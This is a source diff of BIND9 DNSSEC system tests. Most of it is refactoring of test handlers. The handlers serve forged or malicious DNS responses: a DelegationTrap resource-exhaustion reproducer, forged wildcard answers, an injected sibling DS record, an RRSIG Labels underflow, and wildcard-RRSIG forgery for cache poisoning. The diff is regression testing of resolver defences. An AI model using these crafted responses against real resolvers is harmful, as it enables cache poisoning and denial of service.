19:41:01.183323370 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/ans4/ans.py 2026-10-12 13:12:08.080892920 +0000 @@ -3,13 +3,14 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -"""Custom authoritative server (ans4) for the dnssec_py suite. +""" +Custom authoritative server (ans4) for the dnssec_py suite. Per-domain response handlers live one-per-module in sibling *_ans.py files (e.g. rrsig_labels_signer_ans.py); this loader installs each into a single diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/ans4/delegationtrap_ans.py bind9-9.20.30/bin/tests/system/dnssec_py/ans4/delegationtrap_ans.py --- bind9-9.20.29/bin/tests/system/dnssec_py/ans4/delegationtrap_ans.py 2026-09-11 19:41:01.183323370 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/ans4/delegationtrap_ans.py 2026-10-12 13:12:08.080892920 +0000 @@ -3,13 +3,14 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -"""Handler for the attack.delegationtrap. zone (DelegationTrap reproducer). +""" +Handler for the attack.delegationtrap. zone (DelegationTrap reproducer). This is a Python port of the DelegationTrap vector from the ReTrap PoC (gitlab.isc.org/bind-team/nankai-cve-reproducers). It reproduces the @@ -53,12 +54,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - DnsResponseSend, - DomainHandler, - QueryContext, - ResponseAction, -) +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain ZONE_NAME = "attack.delegationtrap." SERVER_IP = "10.53.0.4" @@ -66,10 +64,12 @@ PEM_PATH = Path("attack_delegationtrap.pem") -class DelegationTrapHandler(DomainHandler): - """Serve every label under attack.delegationtrap. as a secure zone cut.""" +class DelegationTrapHandler(ResponseHandler): + """ + Serve every label under attack.delegationtrap. as a secure zone cut. + """ - domains = [ZONE_NAME] + matcher = Domain(ZONE_NAME) def __init__(self) -> None: super().__init__() @@ -89,7 +89,9 @@ self._expiration = now + 14 * 86400 def _sign(self, rrset: dns.rrset.RRset, signer: dns.name.Name) -> dns.rrset.RRset: - """Return an RRSIG RRset covering `rrset`, signed as zone `signer`.""" + """ + Return an RRSIG RRset covering `rrset`, signed as zone `signer`. + """ rrsig = dns.dnssec.sign( rrset, self._priv, @@ -128,7 +130,7 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: qname = qctx.qname qtype = qctx.qtype response = qctx.prepare_new_response(with_zone_data=False) diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/ans4/noqname_mismatch.py bind9-9.20.30/bin/tests/system/dnssec_py/ans4/noqname_mismatch.py --- bind9-9.20.29/bin/tests/system/dnssec_py/ans4/noqname_mismatch.py 2026-09-11 19:41:01.183323370 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/ans4/noqname_mismatch.py 2026-10-12 13:12:08.080892920 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. """ Forged wildcard answers whose NOQNAME proof owner carries both denial types @@ -31,7 +36,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import DnsResponseSend, DomainHandler, QueryContext +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain TTL = 300 ZONE = "f217.test." @@ -132,7 +139,9 @@ def owner_labels(owner: str) -> int: - """The RRSIG labels field of a non-wildcard record at 'owner'.""" + """ + The RRSIG labels field of a non-wildcard record at 'owner'. + """ return len(name(owner).labels) - 1 @@ -227,10 +236,12 @@ response.authority.append(nsec3_rrsig(NSEC3_OWNER)) -class RuntimeCheckHandler(DomainHandler): - """Serve f217.test. and the forged wildcard answers below evil.f217.test.""" +class RuntimeCheckHandler(ResponseHandler): + """ + Serve f217.test. and the forged wildcard answers below evil.f217.test. + """ - domains = [ZONE] + matcher = Domain(ZONE) def __init__(self) -> None: super().__init__() @@ -243,9 +254,6 @@ name(ATTACK_BOTH): add_both_attack_answer, } - def match(self, qctx: QueryContext) -> bool: - return qctx.qname.is_subdomain(self.zone) - async def get_responses( self, qctx: QueryContext ) -> AsyncGenerator[DnsResponseSend, None]: diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/ans4/rrsig_labels_signer_ans.py bind9-9.20.30/bin/tests/system/dnssec_py/ans4/rrsig_labels_signer_ans.py --- bind9-9.20.29/bin/tests/system/dnssec_py/ans4/rrsig_labels_signer_ans.py 2026-09-11 19:41:01.183323370 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/ans4/rrsig_labels_signer_ans.py 2026-10-12 13:12:08.080892920 +0000 @@ -3,13 +3,14 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -"""Handler for the attacker.rrsig-labels-signer. zone. +""" +Handler for the attacker.rrsig-labels-signer. zone. Serves crafted DNSSEC responses that exercise the RRSIG Labels underflow check: an A query for any name under attacker.rrsig-labels-signer. returns: @@ -52,12 +53,9 @@ import dns.rdtypes.ANY.NSEC3 import dns.rrset -from isctest.asyncserver import ( - DnsResponseSend, - DomainHandler, - QueryContext, - ResponseAction, -) +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain ZONE_NAME = "attacker.rrsig-labels-signer." PARENT_ZONE_NAME = "rrsig-labels-signer." @@ -67,12 +65,16 @@ def _to_b32hex_lower(data: bytes) -> str: - """Base32hex-encode bytes, lowercase, no padding (NSEC3 owner-name form).""" + """ + Base32hex-encode bytes, lowercase, no padding (NSEC3 owner-name form). + """ return base64.b32hexencode(data).decode().rstrip("=").lower() def _nsec3_sha1(name: str) -> bytes: - """SHA-1 NSEC3 hash of name (0 iterations, empty salt).""" + """ + SHA-1 NSEC3 hash of name (0 iterations, empty salt). + """ wire = dns.name.from_text(name).canonicalize().to_wire() return hashlib.sha1(wire).digest() @@ -97,7 +99,9 @@ def _type_bitmap(*types: int) -> bytes: - """Build NSEC / NSEC3 type bitmap bytes (window 0, types 0–255).""" + """ + Build NSEC / NSEC3 type bitmap bytes (window 0, types 0–255). + """ size = (max(types) >> 3) + 1 bm = bytearray(size) for t in types: @@ -105,10 +109,12 @@ return bytes(bm) -class AttackerZoneHandler(DomainHandler): - """Serve attacker.rrsig-labels-signer. with crafted wildcard RRSIG.""" +class AttackerZoneHandler(ResponseHandler): + """ + Serve attacker.rrsig-labels-signer. with crafted wildcard RRSIG. + """ - domains = [ZONE_NAME] + matcher = Domain(ZONE_NAME) def __init__(self) -> None: super().__init__() @@ -212,7 +218,7 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: qtype = qctx.qtype qname = qctx.qname response = qctx.prepare_new_response(with_zone_data=False) diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/ans4/sibling_ds_ans.py bind9-9.20.30/bin/tests/system/dnssec_py/ans4/sibling_ds_ans.py --- bind9-9.20.29/bin/tests/system/dnssec_py/ans4/sibling_ds_ans.py 2026-09-11 19:41:01.183323370 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/ans4/sibling_ds_ans.py 2026-10-12 13:12:08.080892920 +0000 @@ -3,13 +3,14 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -"""Handler for the sibling-ds. zone. +""" +Handler for the sibling-ds. zone. When returning a referral for child.sibling-ds, this server injects a DS record for sibling.sibling-ds into the authority section. The resolver @@ -22,22 +23,21 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - DnsResponseSend, - DomainHandler, - QueryContext, - ResponseAction, -) +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain -class SiblingDsInjectionHandler(DomainHandler): - """Inject a DS record for sibling.sibling-ds into child.sibling-ds referrals.""" +class SiblingDsInjectionHandler(ResponseHandler): + """ + Inject a DS record for sibling.sibling-ds into child.sibling-ds referrals. + """ - domains = ["child.sibling-ds."] + matcher = Domain("child.sibling-ds.") async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: # The default zone-data response already has the NS delegation for # child.sibling-ds. and glue. Add a DS record for the *sibling* zone # (wrong name for this referral). diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/common.py bind9-9.20.30/bin/tests/system/dnssec_py/common.py --- bind9-9.20.29/bin/tests/system/dnssec_py/common.py 2026-09-11 19:41:01.183323370 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/common.py 2026-10-12 13:12:08.081892941 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -13,9 +13,8 @@ DNSSEC_PY_MARK = pytest.mark.extra_artifacts( [ - "ans*/*.db", - "ans*/*.run", "ans*/*.pem", + "ans*/*.run", "ns*/dsset-*", "ns*/trusted.conf", "ns*/zones/*.db", diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/tests_delegationtrap.py bind9-9.20.30/bin/tests/system/dnssec_py/tests_delegationtrap.py --- bind9-9.20.29/bin/tests/system/dnssec_py/tests_delegationtrap.py 2026-09-11 19:41:01.184323393 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/tests_delegationtrap.py 2026-10-12 13:12:08.081892941 +0000 @@ -3,13 +3,14 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -"""DelegationTrap characterization (issue #5347, part of the #5341 ReTrap set). +""" +DelegationTrap characterization (issue #5347, part of the #5341 ReTrap set). An attacker who controls a DNSSEC-signed zone can hand out a deep chain of secure delegations so that a single query forces the resolver to build a @@ -62,7 +63,8 @@ def bootstrap(): - """Set up the delegationtrap hierarchy and the attacker key material. + """ + Set up the delegationtrap hierarchy and the attacker key material. The attacker zone attack.delegationtrap. is served dynamically by ans4; only its key needs to exist on disk. It is written both as a PEM (read @@ -88,7 +90,8 @@ def test_delegationtrap_shallow_secure(ns9): - """A shallow name under the attacker zone still validates as secure. + """ + A shallow name under the attacker zone still validates as secure. Its chain of trust is short (well under the query budget), so the resolver answers NOERROR with the AD bit set. This guards against the @@ -101,7 +104,8 @@ def test_delegationtrap_bounded(ns9): - """A deep delegation chain is bounded by max-recursion-queries. + """ + A deep delegation chain is bounded by max-recursion-queries. Building the chain of trust for the 32-label name needs a DNSKEY and a DS fetch at every label -- more outbound queries than the default diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/tests_dnskey_malformed.py bind9-9.20.30/bin/tests/system/dnssec_py/tests_dnskey_malformed.py --- bind9-9.20.29/bin/tests/system/dnssec_py/tests_dnskey_malformed.py 2026-09-11 19:41:01.184323393 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/tests_dnskey_malformed.py 2026-10-12 13:12:08.082892962 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from pathlib import Path from re import compile as Re import base64 @@ -86,9 +85,7 @@ zone.render() # read the rendered zone - unsigned_path = str(Path(zone.ns.name) / zone.filepath_unsigned) - signed_path = str(Path(zone.ns.name) / zone.filepath_signed) - zoneobj = dns.zone.from_file(unsigned_path, origin="dnskey-malformed.") + zoneobj = dns.zone.from_file(str(zone.path_unsigned), origin="dnskey-malformed.") # sign the zone (including the malformed ZSKs) with KSK with zoneobj.writer() as txn: @@ -115,7 +112,7 @@ multiple_rrset.add(create_malformed_rr(rr, i)) multiple_rrset.add(rr) - zoneobj.to_file(signed_path) + zoneobj.to_file(str(zone.path_signed)) root = configure_root([zone]) ksk_key_b64 = base64.b64encode(ksk_dnskey.key).decode() diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/tests_dnskey_truncated_selfsigned.py bind9-9.20.30/bin/tests/system/dnssec_py/tests_dnskey_truncated_selfsigned.py --- bind9-9.20.29/bin/tests/system/dnssec_py/tests_dnskey_truncated_selfsigned.py 2026-09-11 19:41:01.184323393 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/tests_dnskey_truncated_selfsigned.py 2026-10-12 13:12:08.082892962 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/tests_findnoqname_mismatch.py bind9-9.20.30/bin/tests/system/dnssec_py/tests_findnoqname_mismatch.py --- bind9-9.20.29/bin/tests/system/dnssec_py/tests_findnoqname_mismatch.py 2026-09-11 19:41:01.184323393 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/tests_findnoqname_mismatch.py 2026-10-12 13:12:08.082892962 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. """ The resolver must cache the NOQNAME proof that findnoqname() selected, and @@ -108,7 +113,9 @@ def _check_proof(response, owner, rdtype, signed): - """Check the denial type 'rdtype' is present at 'owner', signed or not.""" + """ + Check the denial type 'rdtype' is present at 'owner', signed or not. + """ assert _rrset(response, response.authority, owner, rdtype), response.to_text() rrsig = _rrset(response, response.authority, owner, dns.rdatatype.RRSIG, rdtype) if signed: diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/tests_mixed_ds.py bind9-9.20.30/bin/tests/system/dnssec_py/tests_mixed_ds.py --- bind9-9.20.29/bin/tests/system/dnssec_py/tests_mixed_ds.py 2026-09-11 19:41:01.184323393 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/tests_mixed_ds.py 2026-10-12 13:12:08.082892962 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/tests_nsec3_answer.py bind9-9.20.30/bin/tests/system/dnssec_py/tests_nsec3_answer.py --- bind9-9.20.29/bin/tests/system/dnssec_py/tests_nsec3_answer.py 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/tests_nsec3_answer.py 2026-10-12 13:12:08.082892962 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -104,7 +104,9 @@ ) ) def test_nodata(server: str, qname: dns.name.Name, named_port: int) -> None: - """An existing name, no wildcards, but a query type for RRset which does not exist""" + """ + An existing name, no wildcards, but a query type for RRset which does not exist + """ _, nsec3check = do_test_query(qname, dns.rdatatype.HINFO, server, named_port) check_nodata(qname, nsec3check) @@ -116,7 +118,9 @@ ) ) def test_nodata_ds(server: str, qname: dns.name.Name, named_port: int) -> None: - """Auth sends proof of nonexistance with referral without DS RR. Opt-out is not supported.""" + """ + Auth sends proof of nonexistance with referral without DS RR. Opt-out is not supported. + """ response, nsec3check = do_test_query(qname, dns.rdatatype.HINFO, server, named_port) nsrr = None @@ -156,7 +160,9 @@ ) @given(qname=dns_names(suffix=SUFFIX)) def test_nxdomain(server: str, qname: dns.name.Name, named_port: int) -> None: - """A real NXDOMAIN, no wildcards involved""" + """ + A real NXDOMAIN, no wildcards involved + """ assume_nx_and_no_delegation(qname) wname = ZONE.source_of_synthesis(qname) assume(wname not in ZONE.reachable_wildcards) @@ -170,7 +176,9 @@ ) @given(qname=sampled_from(sorted(ZONE.get_names_with_type(dns.rdatatype.CNAME)))) def test_cname_nxdomain(server: str, qname: dns.name.Name, named_port: int) -> None: - """CNAME which terminates by NXDOMAIN, no wildcards involved""" + """ + CNAME which terminates by NXDOMAIN, no wildcards involved + """ response, nsec3check = do_test_query(qname, dns.rdatatype.A, server, named_port) chain = response.resolve_chaining() assume_nx_and_no_delegation(chain.canonical_name) @@ -186,7 +194,9 @@ ) @given(qname=dns_names(suffix=ZONE.get_names_with_type(dns.rdatatype.DNAME))) def test_dname_nxdomain(server: str, qname: dns.name.Name, named_port: int) -> None: - """DNAME which terminates by NXDOMAIN, no wildcards involved""" + """ + DNAME which terminates by NXDOMAIN, no wildcards involved + """ assume(qname not in ZONE.reachable) response, nsec3check = do_test_query(qname, dns.rdatatype.A, server, named_port) @@ -204,7 +214,9 @@ ) @given(qname=dns_names(suffix=ZONE.ents)) def test_ents(server: str, qname: dns.name.Name, named_port: int) -> None: - """ENT can have a wildcard under it""" + """ + ENT can have a wildcard under it + """ assume_nx_and_no_delegation(qname) _, nsec3check = do_test_query(qname, dns.rdatatype.A, server, named_port) @@ -271,7 +283,9 @@ def check_wildcard_synthesis(qname: dns.name.Name, nsec3check: "NSEC3Checker") -> None: - """Expect wildcard response with a signed A RRset""" + """ + Expect wildcard response with a signed A RRset + """ assert nsec3check.response.rcode() is dns.rcode.NOERROR answer_sig = nsec3check.response.get_rrset( @@ -310,7 +324,9 @@ @dataclass(frozen=True) class NSEC3Params: - """Common values from a single DNS response""" + """ + Common values from a single DNS response + """ algorithm: int flags: int @@ -418,7 +434,9 @@ return dns.name.from_text(nhash, SUFFIX) def prove_name_does_not_exist(self, name: dns.name.Name) -> dns.rrset.RRset: - """Hash of a given name must fall between an NSEC3 owner and 'next' name""" + """ + Hash of a given name must fall between an NSEC3 owner and 'next' name + """ hashed_name = self.hash_name(name) for rrset in self.rrsets: name_is_covered = self.nsec3_covers(rrset, hashed_name) @@ -431,7 +449,9 @@ ), f"Expected covering NSEC3 for {name} (hash={hashed_name}) not found:\n{self.response}" def prove_name_exists(self, owner: dns.name.Name) -> dns.rrset.RRset: - """Check response has NSEC3 RR matching given owner name, i.e. the name exists.""" + """ + Check response has NSEC3 RR matching given owner name, i.e. the name exists. + """ nsec3_owner = self.hash_name(owner) for rrset in self.rrsets: if rrset.match( @@ -444,7 +464,9 @@ ), f"Expected matching NSEC3 for {owner} (hash={nsec3_owner}) not found:\n{self.response}" def check_extraneous_rrs(self) -> None: - """Check that all NSEC3 RRs present in the message were actually needed for proofs""" + """ + Check that all NSEC3 RRs present in the message were actually needed for proofs + """ assert ( self.owners_used == self.owners_present ), f"extraneous NSEC3 RRs detected\n{self.response}" diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/tests_nsec3_iter_too_many.py bind9-9.20.30/bin/tests/system/dnssec_py/tests_nsec3_iter_too_many.py --- bind9-9.20.29/bin/tests/system/dnssec_py/tests_nsec3_iter_too_many.py 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/tests_nsec3_iter_too_many.py 2026-10-12 13:12:08.082892962 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/tests_rrsig_labels_signer.py bind9-9.20.30/bin/tests/system/dnssec_py/tests_rrsig_labels_signer.py --- bind9-9.20.29/bin/tests/system/dnssec_py/tests_rrsig_labels_signer.py 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/tests_rrsig_labels_signer.py 2026-10-12 13:12:08.082892962 +0000 @@ -3,13 +3,14 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -"""Tests for RRSIG Labels vs signer name label count validation. +""" +Tests for RRSIG Labels vs signer name label count validation. Zone hierarchy used by this module: . (ns1) signed @@ -20,7 +21,7 @@ """ from dnssec_py.common import DNSSEC_PY_MARK -from isctest.template import NS2, Nameserver, zones +from isctest.template import ANS4, NS2, zones from isctest.zone import PythonZoneKey, Zone, configure_root import isctest @@ -29,11 +30,10 @@ pytestmark = DNSSEC_PY_MARK -ANS4 = Nameserver("ans4") - def bootstrap(): - """Set up the four-zone hierarchy and generate attacker key material. + """ + Set up the four-zone hierarchy and generate attacker key material. Writes attacker_rrsig_labels_signer.pem to ans4/ so the custom server can read it at startup. Attaches a PythonZoneKey to the attacker Zone so that @@ -60,7 +60,8 @@ def test_rrsig_labels_underflow_rejected(ns9): - """Fixed BIND rejects RRSIG where Labels < signer_labels - 1. + """ + Fixed BIND rejects RRSIG where Labels < signer_labels - 1. Q1: www.attacker.rrsig-labels-signer./A DO The attacker returns A 192.0.2.1 + RRSIG(Labels=1, signer=attacker.rrsig-labels-signer.) @@ -75,7 +76,8 @@ def test_rrsig_labels_no_wildcard_cache_poison(ns9): - """Labels underflow must not enable synth-from-dnssec cache poisoning. + """ + Labels underflow must not enable synth-from-dnssec cache poisoning. The labels-underflow bug lets an attacker who controls attacker.rrsig-labels-signer. cache a wildcard *.rrsig-labels-signer. diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/tests_rrsigs_extra_expired.py bind9-9.20.30/bin/tests/system/dnssec_py/tests_rrsigs_extra_expired.py --- bind9-9.20.29/bin/tests/system/dnssec_py/tests_rrsigs_extra_expired.py 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/tests_rrsigs_extra_expired.py 2026-10-12 13:12:08.082892962 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from pathlib import Path from re import compile as Re import time @@ -34,7 +33,7 @@ zone.add_keys() zone.render() - signed_path = Path(zone.ns.name) / zone.filepath_signed + signed_path = str(zone.path_signed) # create valid but expired signatures expired_rdata = set() @@ -43,19 +42,19 @@ end = now - 10000 for i in range(2): zone.sign(f"-s {start - i} -e {end - i}") - expired = dns.zone.from_file(str(signed_path), origin="rrsigs-extra-expired.") + expired = dns.zone.from_file(signed_path, origin="rrsigs-extra-expired.") rdataset = expired.get_rdataset("a", "RRSIG", "A") expired_rdata.add(rdataset.pop()) # sign zone with valid sigs zone.sign() - valid = dns.zone.from_file(str(signed_path), origin="rrsigs-extra-expired.") + valid = dns.zone.from_file(signed_path, origin="rrsigs-extra-expired.") rdataset = valid.find_rdataset("a", "RRSIG", "A") # add the expired RRSIGs for a.rrsigs-extra-expired for rd in expired_rdata: rdataset.add(rd) - valid.to_file(str(signed_path)) + valid.to_file(signed_path) root = configure_root([zone]) return { diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/tests_sibling_ds.py bind9-9.20.30/bin/tests/system/dnssec_py/tests_sibling_ds.py --- bind9-9.20.29/bin/tests/system/dnssec_py/tests_sibling_ds.py 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_py/tests_sibling_ds.py 2026-10-12 13:12:08.082892962 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -21,15 +21,13 @@ from re import compile as Re from dnssec_py.common import DNSSEC_PY_MARK -from isctest.template import NS2, Nameserver, zones +from isctest.template import ANS4, NS2, zones from isctest.zone import Zone, configure_root import isctest pytestmark = DNSSEC_PY_MARK -ANS4 = Nameserver("ans4") - def bootstrap(): # Child zone on ns2 — the test queries a.child.sibling-ds which @@ -42,9 +40,8 @@ sibling = Zone("sibling.sibling-ds", NS2) sibling.configure() - # Parent zone rendered into ans4/ (subdir=None puts the .db file - # directly in the ans4 directory where AsyncDnsServer loads it). - parent = Zone("sibling-ds", ANS4, subdir=None) + # Parent zone rendered into ans4/. + parent = Zone("sibling-ds", ANS4) parent.delegations = [child, sibling] parent.configure() @@ -58,7 +55,9 @@ def test_sibling_ds_rejected(ns9): - """Resolver must reject a referral that contains DS for a sibling zone.""" + """ + Resolver must reject a referral that contains DS for a sibling zone. + """ log_ds_mismatch = Re(r"DS doesn't match the delegation owner name") msg = isctest.query.create("a.child.sibling-ds.", "A") diff -Nru bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/ans.py bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/ans.py --- bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/ans.py 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/ans.py 2026-10-12 13:12:08.082892962 +0000 @@ -1,18 +1,84 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import AsyncGenerator -from dnssec_wildcard.ans1 import common, f043, f045 -from isctest.asyncserver import AsyncDnsServer +import dns.name +import dns.rdatatype +import dns.rrset + +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Qname, Qtype + + +def append_forged_a_rrset_to_additional(qctx: QueryContext, owner_name: str) -> None: + # Append a forged wildcard-synthesized record to the response. The + # attacker does NOT control the contents of the A record - they have to + # match the contents of the actual wildcard record present in the zone or + # else the wildcard RRSIG (see below) won't validate, foiling the attack. + wildcard_name = dns.name.from_text("*", origin=qctx.zone.origin) + wildcard_a_rrset = qctx.zone.get_rrset(wildcard_name, dns.rdatatype.A) + assert wildcard_a_rrset + forged_a_rrset = dns.rrset.from_rdata_list( + owner_name, wildcard_a_rrset.ttl, wildcard_a_rrset + ) + qctx.response.additional.append(forged_a_rrset) + + # Get the RRSIG for the wildcard record from the zone that matched the + # query. + wildcard_rrsig = qctx.zone.get_rrset( + wildcard_name, dns.rdatatype.RRSIG, covers=dns.rdatatype.A + ) + assert wildcard_rrsig + + # Append the RRSIG for the wildcard record as the signature for the + # forged A record, making it look as if the A record was synthesized + # from the wildcard record. + forged_a_rrsig = dns.rrset.from_rdata_list( + owner_name, wildcard_rrsig.ttl, wildcard_rrsig + ) + 